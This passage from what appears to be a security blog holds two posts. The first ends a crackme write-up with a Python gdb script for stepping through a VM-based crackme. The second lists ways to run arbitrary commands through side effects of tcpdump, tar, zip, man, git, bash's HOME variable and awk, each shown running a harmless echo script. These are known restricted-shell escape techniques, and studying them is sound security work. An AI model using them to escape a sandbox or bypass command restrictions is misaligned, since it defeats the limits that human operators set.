     == > Unknown Opcode
Opcode is 0x03
     == > Unknown Opcode
(gdb) walk

(gdb) registry
    R0      R1      R2      R3      R4      R5      R6      R7
    0x42    0x01    0x00    0x00    0x20    0x00    0x00    0x00
(gdb)


And that's waaaaay simpler than trying to use gdb commands. Understanding the VM was a piece of cake after that: we just focus on the important things, and we totally abstract the underlying CPU and instructions.

5/ Conclusion

After winning and reading other solutions, I figure that there were a lot of other ways to break it (Next in my TODO list: learn pin). It wasn't very complicated, but I've had a lot of fun with this VM crackme; Writing python was overkill for this one, but it will help me for beating next VM crackmes.

gdb + python can be really, really powerfull. For those who wondering, the VM was emulating a Z80 CPU, but I didn't recognizing the instructions ^_^ 

6/ Show me the code or GTFO

This code can not be read as a school example of coding. "It just works" (tm)



import gdb

#Main BP of the VM: 0x0804843b

def lookahead():
    cursor=0
    for i in range(0,5):
        print "cursor is at:",
        opcode=get_esi("$esi+"+str(cursor))
        val,advance=disassemble("$esi+"+str(cursor))
        cursor=cursor+1+advance
        print "Opcode is %s" % (opcode)
        print "\t == > %s" % (val)

def disassemble(addr):
    opc=get_esi(addr)
    o=""
    cursor=0
    a,b,c,d,e=exploding(opc)
    if opc=='0x00':
        o= 'NOP'
    if opc=='0xc3':
        o= 'JUMP $esi+ %s - %s' % (get_esi(addr+"+2"),get_esi(addr+"+1"))
        cursor+=2
    if c==6:
        o= 'MOV %s to R%d' % (get_esi(addr+"+1"),b)
        cursor+=1
    if c==1:
        o= 'Mov %s-%s to R1 and R0' % (get_esi(addr+"+2"),get_esi(addr+"+1"))
        cursor+=2
    if o=="": o="Unknown Opcode"
    return o,cursor

def exploding(opc):    
    """Found by reversing"""
    a = int(opc, 16) >> 6
    b = int(opc, 16) >> 3 & int ("0x7",0)
    c = int(opc, 16) & int("0x7",0)
    d = b & 1
    e = b >> 1
    return a,b,c,d,e

def get_esi(n):
    """esi can be seen as a global var, so we don't care passing it"""
    byte=gdb.execute("x/bx "+n,to_string=True)
    return byte.split()[1].rstrip()

def registry(regs):
    #One of them is Z flags, should print it
    for i in range(0,8):
        print '\tR%d' % (i),
    print
    print regs.split(':')[1].rstrip()

def walk():
    gdb.execute('c', to_string=True)
    vv = gdb.execute("info reg $eip",to_string=True).split('x')[2]
    if vv.rstrip() != '804843b':
        print "Walk another time, we didn't reach the BP"

def opcode():
    opc=get_esi("$esi")
    print "Opcode is: "+ opc + " ",
    print disassemble("$esi")[0]
    print "value 0%d-0%d-0%d-0%d-0%d" % (exploding(opc))



#And now, the classes

class Opcode(gdb.Command):
    """Dump the Opcode"""
    def __init__(self):
        super(Opcode, self).__init__("opcode", gdb.COMMAND_SUPPORT)
    def invoke(self, args, from_tty):
        opcode()

class Walk(gdb.Command):
    """Walk one step"""
    def __init__(self):
        super(Walk, self).__init__("walk", gdb.COMMAND_SUPPORT)
    def invoke(self, args, from_tty):
        walk()

class Registry(gdb.Command):
    """Pretty print the VM registry"""
    def __init__(self):
        super(Registry, self).__init__("registry", gdb.COMMAND_SUPPORT)
    def invoke(self, args, from_tty):
        registry(gdb.execute("x/8bx 0x08049a84",to_string=True))

class Lookahead(gdb.Command):
    """Pretty print the VM registry"""
    def __init__(self):
        super(Lookahead, self).__init__("lookahead", gdb.COMMAND_SUPPORT)
    def invoke(self, args, from_tty):
        lookahead()


Opcode()
Walk()
Registry()
Lookahead()

vendredi 3 juillet 2015

No one expect command execution !



Unix is a beautiful world where your shell gives you the power of launching any command you like. But sometimes, command can be used to launch another commands, and that's sometimes unexpected.



For example, here is how you can launch arbitrary command from tar:
But with a little research, it seems there is ton of way to achieve this with popular unix commands. The rules are simple:
  • don't launch the command from the shell
  • use a side effect of another command
  • have the command executed
I used a little script, called runme.sh:
mitsurugi@mitsu:~/tmp$ cat runme.sh
#! /bin/bash
echo "The name's 0xMitsurugi!"
echo "Remember it!"
mitsurugi@mitsu:~/tmp$


If it's printed on the script, you win. Here we go, without any ordering:

1/ tcpdump

$ tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
The name's 0xMitsurugi!
Remember it!
The name's 0xMitsurugi!
Remember it!
^C6 packets captured
12 packets received by filter
0 packets dropped by kernel
$
Because each packet (-G), we rotate the file (-w) with the specified program (-z).

2/ tar

$ tar c a.tar -I ./runme.sh a
tar: a.tar: Cannot stat: No such file or directory
The name's 0xMitsurugi!
Remember it!
tar: Exiting with failure status due to previous errors
$
Because you can specify any compress program (-I) you want on command line for tar and we don't care for errors.

3/ zip

$ zip z.zip a -T -TT ./runme.sh
The name's 0xMitsurugi!
Remember it!
test of z.zip OK
$

zip is a nice boy which can autotest its zip file (-T), and test decompression with another program (-TT).

4/ ftp (and many others...)

A lot of program can give you access back to shell, I choose ftp because it's an old unix utility.
$ ftp
ftp> ! ./runme.sh
The name's 0xMitsurugi!
Remember it!
ftp>

and also, vi, gdb, etc.. you can even escape an ssh session with ~^Z

5/ man

This one is just for fun, but you have to give full path of program. The -P switch change the default pager program.
$ man -P /tmp/runme.sh man
The name's 0xMitsurugi!
Remember it!

$

6/ git (and man, and...)

If you have access to environment variable, there is a lot of fun to do:
$ export PAGER=./runme.sh
$ git -p help
The name's 0xMitsurugi!
Remember it!
$

And yes, it works with "man" the same way, andu surely many other which define a PAGER env variable.

But wait, there's more to do with git. If you can write to any directory in $PATH, you can do:
$ export PATH=/tmp:$PATH
$ ln -sf /tmp/runme.sh /tmp/git-help
$ git --exec-path=/tmp help
The name's 0xmitsurugi
remember it!
$

Although I don't have any idea to play with, I'm sure someone will find out :-) For an unknown reason, the --exec-path must be in $PATH in order to be executed.

7/ The most unexpected: bash $HOME variable

And yes, there is a way for subshells:
$ pwd
/tmp
$ ls -la .bashrc
lrwxrwxrwx 1 mitsurugi mitsurugi    8 juin  19 14:03 .bashrc -> runme.sh
$ export HOME=.
$ bash
The name's 0xMitsurugi!
Remember it!

$
I was almost 100% sure this would fail if I hadn't tried it.

8/ awk (and many others)

That's too easy when you have a "system" command:
$ awk 'BEGIN {system("./runme.sh")}'
The name's 0xMitsurugi!
Remember it!

$
and I'm sure there are a lot more.


That's all for today, I'm sure there are many more, don't be shy and send me (twitter, mail, blog) your best unexpected command execution :-)